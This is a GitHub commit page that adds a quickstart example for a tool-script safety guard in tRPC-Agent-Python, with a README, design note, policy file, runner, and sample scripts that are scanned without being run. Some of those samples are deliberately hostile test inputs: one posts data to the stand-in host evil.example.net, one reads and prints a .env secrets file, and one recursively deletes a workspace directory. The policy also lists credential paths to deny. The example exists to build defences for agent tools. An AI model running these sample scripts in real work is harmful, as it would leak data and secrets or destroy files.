Skip to content

Commit bfe8db3

Browse files
author
张志鹏
committed
Add tool safety quickstart example
1 parent 1d77714 commit bfe8db3

12 files changed

Lines changed: 448 additions & 0 deletions

File tree

examples/tool_safety_guard/README.md

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,16 @@
22

33
This example shows how to scan Python and Bash tool scripts before execution. It uses a policy file, emits structured reports, appends JSONL audit events, and can be attached as a Tool Filter or CodeExecutor wrapper.
44

5+
## Quickstart Project
6+
7+
For a project-shaped walkthrough similar to the optimization quickstart examples, start here:
8+
9+
```bash
10+
python examples/tool_safety_guard/quickstart/run_guard.py
11+
```
12+
13+
That directory contains an entry script, a dry-run tool service, a policy file, sample tool scripts, a design note, and generated report/audit outputs. It demonstrates the same guard through direct scan, Tool Filter, and CodeExecutor wrapper paths without executing untrusted script bodies.
14+
515
## Run The Samples
616

717
```bash
Lines changed: 80 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,80 @@
1+
# Tool Safety Guard Quickstart
2+
3+
This quickstart is a small project-shaped example for the tool script safety guard. It mirrors the structure used by optimization quickstart examples: one entry script, one service module, one policy file, and a few representative inputs.
4+
5+
## Directory
6+
7+
```text
8+
examples/tool_safety_guard/quickstart/
9+
|-- run_guard.py
10+
|-- tool_service.py
11+
|-- policy.yaml
12+
|-- design.md
13+
`-- scripts/
14+
|-- safe_report.py
15+
|-- external_upload.py
16+
|-- read_secret.py
17+
|-- review_subprocess.py
18+
`-- dangerous_cleanup.sh
19+
```
20+
21+
`scripts/` is not meant to be executed directly. The runner feeds each file into the guard and uses dry-run delegates to show where a real tool or CodeExecutor would be blocked.
22+
23+
## Run
24+
25+
From the repository root:
26+
27+
```bash
28+
python examples/tool_safety_guard/quickstart/run_guard.py
29+
```
30+
31+
Or with the Windows launcher used in this workspace:
32+
33+
```bash
34+
py -3.14 examples/tool_safety_guard/quickstart/run_guard.py
35+
```
36+
37+
The run writes:
38+
39+
```text
40+
examples/tool_safety_guard/quickstart/out/
41+
|-- quickstart_report.json
42+
`-- audit.jsonl
43+
```
44+
45+
Expected decisions:
46+
47+
| case | expected decision | why |
48+
| --- | --- | --- |
49+
| `safe_report` | `allow` | Local bounded file write under the project output directory. |
50+
| `external_upload` | `deny` | Network egress to a domain not in `allowed_domains`. |
51+
| `read_secret` | `deny` | Reads `.env`, which is configured as a denied path. |
52+
| `review_subprocess` | `needs_human_review` | Starts a subprocess, which is review-worthy but not always unsafe. |
53+
| `dangerous_cleanup` | `deny` | Recursive delete pattern. |
54+
55+
## What This Demonstrates
56+
57+
The same `ToolSafetyGuard` is used in three places:
58+
59+
- Direct scan: `guard.scan(ToolSafetyScanRequest(...))` returns a structured report.
60+
- Tool Filter: `ToolSafetyFilter` blocks script-like tool arguments before the tool body runs.
61+
- CodeExecutor wrapper: `SafetyGuardedCodeExecutor` scans code blocks before delegating to an executor.
62+
63+
This is the intended production shape: keep execution code simple, put static pre-execution policy in one reusable guard, and write audit events for every decision.
64+
65+
## Policy Knobs
66+
67+
`policy.yaml` controls the main behavior without code changes:
68+
69+
- `allowed_domains`: network egress allowlist.
70+
- `allowed_commands`: command allowlist for shell-like command scans.
71+
- `denied_paths`: sensitive path patterns.
72+
- `system_write_paths`: protected roots.
73+
- resource limits such as `max_sleep_seconds`, `max_loop_iterations`, and `max_parallel_tasks`.
74+
- `deny_risk_level`, `review_risk_level`, and `block_on_review`.
75+
76+
Try adding `evil.example.net` to `allowed_domains`; `external_upload.py` will no longer be denied for non-allowlisted egress, although it still records network-related findings.
77+
78+
## Relationship To The Sample Matrix
79+
80+
The parent `examples/tool_safety_guard/samples/` directory remains the acceptance matrix with 12 focused cases. This quickstart is the narrative example: it shows how the scanner, filter, executor wrapper, report, and audit event fit together in a minimal application.
Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
# Design Notes
2+
3+
## Problem Shape
4+
5+
Agents increasingly call tools that accept script-like payloads: a Bash command, a Python snippet, generated code blocks, or a file-backed skill script. Those payloads can perform useful local work, but they can also delete files, exfiltrate secrets, install packages, start unbounded subprocesses, or contact unapproved network destinations. The safety guard is a pre-execution control that makes those risks visible before the tool body runs.
6+
7+
## Architecture
8+
9+
The quickstart has three layers:
10+
11+
1. `policy.yaml` defines environment-specific rules: allowed network domains, allowed commands, denied paths, protected system roots, resource thresholds, and the risk levels that map to `allow`, `needs_human_review`, or `deny`.
12+
2. `ToolSafetyGuard` owns scanning, decision calculation, telemetry attributes, and audit emission. It receives a `ToolSafetyScanRequest` and returns a `ToolSafetyReport`.
13+
3. Integration adapters place the guard in front of execution. `ToolSafetyFilter` protects ordinary tools by scanning common argument names such as `command`, `script`, `code`, and `code_blocks`. `SafetyGuardedCodeExecutor` protects CodeExecutor delegates by scanning every code block before delegation.
14+
15+
The quickstart runner exercises all three layers with the same sample scripts. Direct scan shows the raw report. The filter path proves that a blocked script prevents the tool handler from running. The CodeExecutor path proves that generated code is stopped before the executor delegate sees it.
16+
17+
## Decision Model
18+
19+
Scanning produces findings with stable `rule_id`, `risk_type`, `risk_level`, evidence, source line, redaction status, and remediation guidance. The aggregate decision is policy driven: findings at or above `deny_risk_level` become `deny`; findings at or above `review_risk_level` become `needs_human_review`; otherwise the report is `allow`. With `block_on_review: true`, review-needed scripts are blocked by adapters even though the decision is distinct from a hard deny.
20+
21+
## Rule Strategy
22+
23+
Python uses AST analysis first because it can distinguish imports, calls, path literals, loop bounds, subprocess options, and write modes more reliably than plain text matching. Bash uses tokenization and targeted shell-pattern checks for command prefixes, redirections, control operators, recursive deletes, network commands, dependency installation, and fork-bomb patterns. Regex is reserved for cross-language text risks such as literal secrets and URLs.
24+
25+
## Audit And Telemetry
26+
27+
Each report includes OpenTelemetry-ready attributes such as `tool.safety.decision`, `tool.safety.risk_level`, `tool.safety.rule_id`, `tool.safety.rule_ids`, and `tool.safety.blocked`. When an audit path is configured, the guard appends a compact JSONL event with the same decision, policy version, finding count, redaction flag, and primary rule id. This gives operators a low-cardinality signal for dashboards and a durable trail for incident review.
28+
29+
## Safety Boundaries
30+
31+
The guard is intentionally static and pre-execution. It reduces obvious risk and gives consistent policy enforcement, but it is not a sandbox. Obfuscated strings, downloaded second-stage scripts, interpreter-specific behavior, shell expansion, and generated runtime code can bypass static analysis. Production deployments should still use sandbox isolation, least-privilege credentials, read-only mounts where possible, network egress controls, resource limits, timeouts, and post-execution monitoring.
Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
name: tool-safety-quickstart
2+
version: "1"
3+
allowed_domains:
4+
- api.github.com
5+
allowed_commands:
6+
- cat
7+
- echo
8+
- python
9+
- python3
10+
- pwd
11+
denied_paths:
12+
- ~/.ssh
13+
- .env
14+
- .aws/credentials
15+
- id_rsa
16+
- id_ed25519
17+
- credentials
18+
system_write_paths:
19+
- /
20+
- /etc
21+
- /usr
22+
- /var
23+
- /root
24+
max_timeout_seconds: 60
25+
max_output_bytes: 200000
26+
max_sleep_seconds: 20
27+
max_loop_iterations: 10000
28+
max_literal_write_bytes: 200000
29+
max_parallel_tasks: 16
30+
deny_risk_level: high
31+
review_risk_level: medium
32+
block_on_review: true
33+
redact_secrets: true
Lines changed: 166 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,166 @@
1+
# Tencent is pleased to support the open source community by making tRPC-Agent-Python available.
2+
#
3+
# Copyright (C) 2026 Tencent. All rights reserved.
4+
#
5+
# tRPC-Agent-Python is licensed under Apache-2.0.
6+
"""Run the tool safety guard quickstart project.
7+
8+
This script demonstrates the same guard in three integration points:
9+
direct scan, Tool Filter, and CodeExecutor wrapper. It writes a structured
10+
summary under ``out/`` without executing any untrusted sample script.
11+
"""
12+
13+
from __future__ import annotations
14+
15+
import argparse
16+
import asyncio
17+
import json
18+
import sys
19+
from pathlib import Path
20+
from typing import Any
21+
22+
HERE = Path(__file__).resolve().parent
23+
REPO_ROOT = HERE.parents[2]
24+
if str(REPO_ROOT) not in sys.path:
25+
sys.path.insert(0, str(REPO_ROOT))
26+
27+
from trpc_agent_sdk.code_executors import CodeBlock # noqa: E402
28+
from trpc_agent_sdk.code_executors import CodeExecutionInput # noqa: E402
29+
from trpc_agent_sdk.context import create_agent_context # noqa: E402
30+
from trpc_agent_sdk.filter import FilterResult # noqa: E402
31+
from trpc_agent_sdk.tools.safety import SafetyGuardedCodeExecutor # noqa: E402
32+
from trpc_agent_sdk.tools.safety import ToolSafetyFilter # noqa: E402
33+
from trpc_agent_sdk.tools.safety import ToolSafetyGuard # noqa: E402
34+
from trpc_agent_sdk.tools.safety import ToolSafetyPolicy # noqa: E402
35+
from trpc_agent_sdk.tools.safety import ToolSafetyScanRequest # noqa: E402
36+
37+
try:
38+
from examples.tool_safety_guard.quickstart.tool_service import DryRunScriptExecutor # noqa: E402
39+
from examples.tool_safety_guard.quickstart.tool_service import dry_run_tool # noqa: E402
40+
from examples.tool_safety_guard.quickstart.tool_service import read_script # noqa: E402
41+
except ModuleNotFoundError:
42+
from tool_service import DryRunScriptExecutor # noqa: E402
43+
from tool_service import dry_run_tool # noqa: E402
44+
from tool_service import read_script # noqa: E402
45+
46+
DEFAULT_POLICY = HERE / "policy.yaml"
47+
DEFAULT_OUT = HERE / "out"
48+
DEFAULT_CASES = [
49+
("safe_report", HERE / "scripts" / "safe_report.py", "python"),
50+
("external_upload", HERE / "scripts" / "external_upload.py", "python"),
51+
("read_secret", HERE / "scripts" / "read_secret.py", "python"),
52+
("review_subprocess", HERE / "scripts" / "review_subprocess.py", "python"),
53+
("dangerous_cleanup", HERE / "scripts" / "dangerous_cleanup.sh", "bash"),
54+
]
55+
56+
57+
def _write_json(path: Path, payload: Any) -> None:
58+
path.parent.mkdir(parents=True, exist_ok=True)
59+
path.write_text(json.dumps(payload, ensure_ascii=False, indent=2) + "\n", encoding="utf-8")
60+
61+
62+
async def _run_filter_case(guard: ToolSafetyGuard, script: str, language: str) -> dict[str, Any]:
63+
filter_ = ToolSafetyFilter(guard=guard)
64+
65+
async def handle() -> FilterResult:
66+
return FilterResult(rsp=await dry_run_tool(script, language=language))
67+
68+
result = await filter_.run(
69+
create_agent_context(),
70+
{
71+
"script": script,
72+
"language": language,
73+
"cwd": str(HERE),
74+
},
75+
handle,
76+
)
77+
return {
78+
"continued": bool(result.is_continue),
79+
"response": result.rsp,
80+
}
81+
82+
83+
async def _run_executor_case(guard: ToolSafetyGuard, script: str, language: str) -> dict[str, Any]:
84+
executor = SafetyGuardedCodeExecutor(
85+
delegate=DryRunScriptExecutor(work_dir=str(HERE)),
86+
guard=guard,
87+
)
88+
result = await executor.execute_code(
89+
invocation_context=None, # type: ignore[arg-type]
90+
code_execution_input=CodeExecutionInput(code_blocks=[CodeBlock(language=language, code=script)]),
91+
)
92+
return {
93+
"outcome": result.outcome.value if hasattr(result.outcome, "value") else str(result.outcome),
94+
"output": result.output,
95+
}
96+
97+
98+
async def run_quickstart(*, policy_path: Path = DEFAULT_POLICY, output_dir: Path = DEFAULT_OUT) -> dict[str, Any]:
99+
policy = ToolSafetyPolicy.load(policy_path)
100+
audit_path = output_dir / "audit.jsonl"
101+
guard = ToolSafetyGuard(policy=policy, audit_log_path=audit_path)
102+
cases = []
103+
104+
for name, path, language in DEFAULT_CASES:
105+
script = read_script(path)
106+
report = guard.scan(
107+
ToolSafetyScanRequest(
108+
script=script,
109+
language=language,
110+
cwd=str(HERE),
111+
tool_metadata={
112+
"name": name,
113+
"script_path": str(path),
114+
},
115+
))
116+
filter_result = await _run_filter_case(guard, script, language)
117+
executor_result = await _run_executor_case(guard, script, language)
118+
cases.append({
119+
"name": name,
120+
"script": str(path.relative_to(HERE)),
121+
"language": language,
122+
"decision": report.decision.value if hasattr(report.decision, "value") else str(report.decision),
123+
"risk_level": report.risk_level.value if hasattr(report.risk_level, "value") else str(report.risk_level),
124+
"blocked": report.blocked,
125+
"rule_ids": [finding.rule_id for finding in report.findings],
126+
"summary": report.summary,
127+
"filter": filter_result,
128+
"code_executor": executor_result,
129+
})
130+
131+
summary = {
132+
"policy": {
133+
"name": policy.name,
134+
"version": policy.version,
135+
"path": str(policy_path),
136+
},
137+
"case_count": len(cases),
138+
"decision_counts": {
139+
decision: sum(1 for case in cases if case["decision"] == decision)
140+
for decision in sorted({case["decision"] for case in cases})
141+
},
142+
"cases": cases,
143+
"audit_log": str(audit_path),
144+
}
145+
_write_json(output_dir / "quickstart_report.json", summary)
146+
return summary
147+
148+
149+
def _parse_args() -> argparse.Namespace:
150+
parser = argparse.ArgumentParser(description="Run the tool safety guard quickstart.")
151+
parser.add_argument("--policy", type=Path, default=DEFAULT_POLICY)
152+
parser.add_argument("--output-dir", type=Path, default=DEFAULT_OUT)
153+
return parser.parse_args()
154+
155+
156+
def main() -> None:
157+
args = _parse_args()
158+
summary = asyncio.run(run_quickstart(policy_path=args.policy.resolve(), output_dir=args.output_dir.resolve()))
159+
print("Tool safety quickstart decisions:")
160+
for case in summary["cases"]:
161+
print(f"- {case['name']}: {case['decision']} ({', '.join(case['rule_ids']) or 'no findings'})")
162+
print(f"Report written to: {summary['audit_log']}")
163+
164+
165+
if __name__ == "__main__":
166+
main()
Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
#!/usr/bin/env bash
2+
set -euo pipefail
3+
4+
rm -rf /tmp/agent-workspace/*
Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
import requests
2+
3+
4+
def main() -> None:
5+
response = requests.post(
6+
"https://evil.example.net/collect",
7+
json={"artifact": "agent-run-log"},
8+
timeout=5,
9+
)
10+
print(response.status_code)
11+
12+
13+
if __name__ == "__main__":
14+
main()
Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
from pathlib import Path
2+
3+
4+
def main() -> None:
5+
token = Path(".env").read_text(encoding="utf-8")
6+
print(token)
7+
8+
9+
if __name__ == "__main__":
10+
main()
Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
import subprocess
2+
3+
4+
def main() -> None:
5+
subprocess.run(["python", "worker.py"], check=True, timeout=10)
6+
7+
8+
if __name__ == "__main__":
9+
main()
Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
from pathlib import Path
2+
3+
4+
def main() -> None:
5+
output = Path("out/safe_report.txt")
6+
output.parent.mkdir(parents=True, exist_ok=True)
7+
output.write_text("quickstart report generated\n", encoding="utf-8")
8+
print("report ready")
9+
10+
11+
if __name__ == "__main__":
12+
main()

0 commit comments

Comments
 (0)